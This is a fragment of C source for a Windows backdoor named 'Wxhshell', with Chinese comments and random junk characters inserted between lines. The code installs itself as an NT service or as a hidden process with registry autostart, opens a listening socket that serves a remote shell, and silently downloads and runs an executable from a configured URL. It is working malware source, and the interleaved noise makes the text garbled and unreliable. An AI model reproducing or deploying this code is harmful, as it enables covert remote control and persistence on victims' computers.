5KaSWw/ if(hProcess==NULL) return 0; 8b~7~VCk qKs7WBRJy HMODULE hMod; 4K #^dJnC char procName[255]; k4mTZ}6E unsigned long cbNeeded; 4#@0T"T~M h@Dw'w if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SyB-iQn hvcR.f)C> CloseHandle(hProcess); >I:9'"` 6#-Z@fz% if(strstr(procName,"services")) return 1; // 以服务启动 5j1 IH,yW qAvvXs=5 return 0; // 注册表启动 auoA } -W6V,+of gQCC>8 // 主模块 cuNq9y;[ int StartWxhshell(LPSTR lpCmdLine) c0hdLl;5 { dcR6KG 8 SOCKET wsl; 4SBLu%=s% BOOL val=TRUE; Y?e3B x7*b int port=0; KZ
@l/s struct sockaddr_in door; EKJH_!% n('VQ0b if(wscfg.ws_autoins) Install(); 8ZzU^x qG*_w
RF port=atoi(lpCmdLine); %rX\
P "rf\' 9= if(port<=0) port=wscfg.ws_port; ":z@c, su%Z{f)# WSADATA data; k0=|10bi if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1=- X<M75 iiQ||P}5 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n*Q4G}p setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mof)2Hbd: door.sin_family = AF_INET; 0n7HkDo door.sin_addr.s_addr = inet_addr("127.0.0.1"); RNl\`>Cz door.sin_port = htons(port); }$w4SpR =+k&&vOAn if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uk`d,xF closesocket(wsl); FC~|& return 1; hE9'F(87a } XC57];- vl>_e if(listen(wsl,2) == INVALID_SOCKET) { +q4W0 closesocket(wsl); Vl&+/-V return 1; 56VE[G } 38OIFT Wxhshell(wsl); iRkOH]+K WSACleanup(); #a/n5c&6/ Y!Usce return 0; VuP#b'g=|] 4Q&Xb < } e_;%F` >MBn2(\B; // 以NT服务方式启动 k4]R]=Fh. VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rHA/
{ )1X' W DWORD status = 0; _.oRVYK/ DWORD specificError = 0xfffffff; tr#)iZ\ UEx(~> serviceStatus.dwServiceType = SERVICE_WIN32; :*^(OnIe serviceStatus.dwCurrentState = SERVICE_START_PENDING; c"oQ/x serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P\ Pc/[
Z7 serviceStatus.dwWin32ExitCode = 0; z+5u/t serviceStatus.dwServiceSpecificExitCode = 0; (2hk < serviceStatus.dwCheckPoint = 0; UU;Ysj serviceStatus.dwWaitHint = 0; t*ri`}a{v kM6
EZ`mj hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FRs|!\S= if (hServiceStatusHandle==0) return; >TH-Q[ -wG[>Y status = GetLastError(); Vj9`[1}1Z if (status!=NO_ERROR) KU8Cl>5 { ;mM\,
{Z serviceStatus.dwCurrentState = SERVICE_STOPPED; _s*uF_:3 serviceStatus.dwCheckPoint = 0; #lLn='4 serviceStatus.dwWaitHint = 0; +9=p*3cnp serviceStatus.dwWin32ExitCode = status; SWe!9Y$ serviceStatus.dwServiceSpecificExitCode = specificError; 10QNV=yK7s SetServiceStatus(hServiceStatusHandle, &serviceStatus); oPC IlH return; yF [@W< } } SWA|x 4w3V!K8 serviceStatus.dwCurrentState = SERVICE_RUNNING; iNaC ZC serviceStatus.dwCheckPoint = 0; A~%g" serviceStatus.dwWaitHint = 0; JOL Z2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
^.><t+tM } P(W\aLp R`<{W(J;r // 处理NT服务事件,比如:启动、停止 ~O7cUsAi' VOID WINAPI NTServiceHandler(DWORD fdwControl) {0m[:af& { jv?aB switch(fdwControl) Qnu&GBM { R}K5'`[%ZY case SERVICE_CONTROL_STOP: RQ$o'U9A serviceStatus.dwWin32ExitCode = 0; 83O^e&Bt serviceStatus.dwCurrentState = SERVICE_STOPPED; nk?xNe4 serviceStatus.dwCheckPoint = 0; O(WMTa'% serviceStatus.dwWaitHint = 0; mc[_>[m { P\G C8KV] SetServiceStatus(hServiceStatusHandle, &serviceStatus); MHzsxF| } e]L3=R; return; {)dEO0 p case SERVICE_CONTROL_PAUSE: !h~#L"z serviceStatus.dwCurrentState = SERVICE_PAUSED; +~v3D^L15 break; 3dzqVaV case SERVICE_CONTROL_CONTINUE: GE| ^ryh serviceStatus.dwCurrentState = SERVICE_RUNNING; &,gryBN break; t$kf'An}/ case SERVICE_CONTROL_INTERROGATE: HS7
G_ break; )LS+M_
}; %RR|QY* SetServiceStatus(hServiceStatusHandle, &serviceStatus); `^4>^ } =S7C(;=4 i|! 9o: // 标准应用程序主函数 7^Q$pT> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +^% &8< { _ZE$\5>- 5]O LV1Xt // 获取操作系统版本 Ph!NYi, OsIsNt=GetOsVer(); @'| 6lG GetModuleFileName(NULL,ExeFile,MAX_PATH); \crb&EgID K d|l\k! // 从命令行安装 sOtNd({ if(strpbrk(lpCmdLine,"iI")) Install(); 1:l&&/Wy [T?6~^m= // 下载执行文件 rgY?X$1q_ if(wscfg.ws_downexe) { FYE9&{]h if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #z54/T WinExec(wscfg.ws_filenam,SW_HIDE); t6>Qe } LYo7?rp .Y Frb+6 if(!OsIsNt) { .6-o?=5 // 如果时win9x,隐藏进程并且设置为注册表启动 U~`^Y8UF HideProc(); ve/6-J!5Y. StartWxhshell(lpCmdLine); eOnl
sx/ } +OuG!3+w else .Im+()b&& if(StartFromService()) [tw<TV"\ // 以服务方式启动 )ZT0zIG StartServiceCtrlDispatcher(DispatchTable); #3ro?w else 4]Nr$FY // 普通方式启动 G Z[5m[ StartWxhshell(lpCmdLine); Am^O{`r41 s 17gi,"X return 0; #a>!U'1| }
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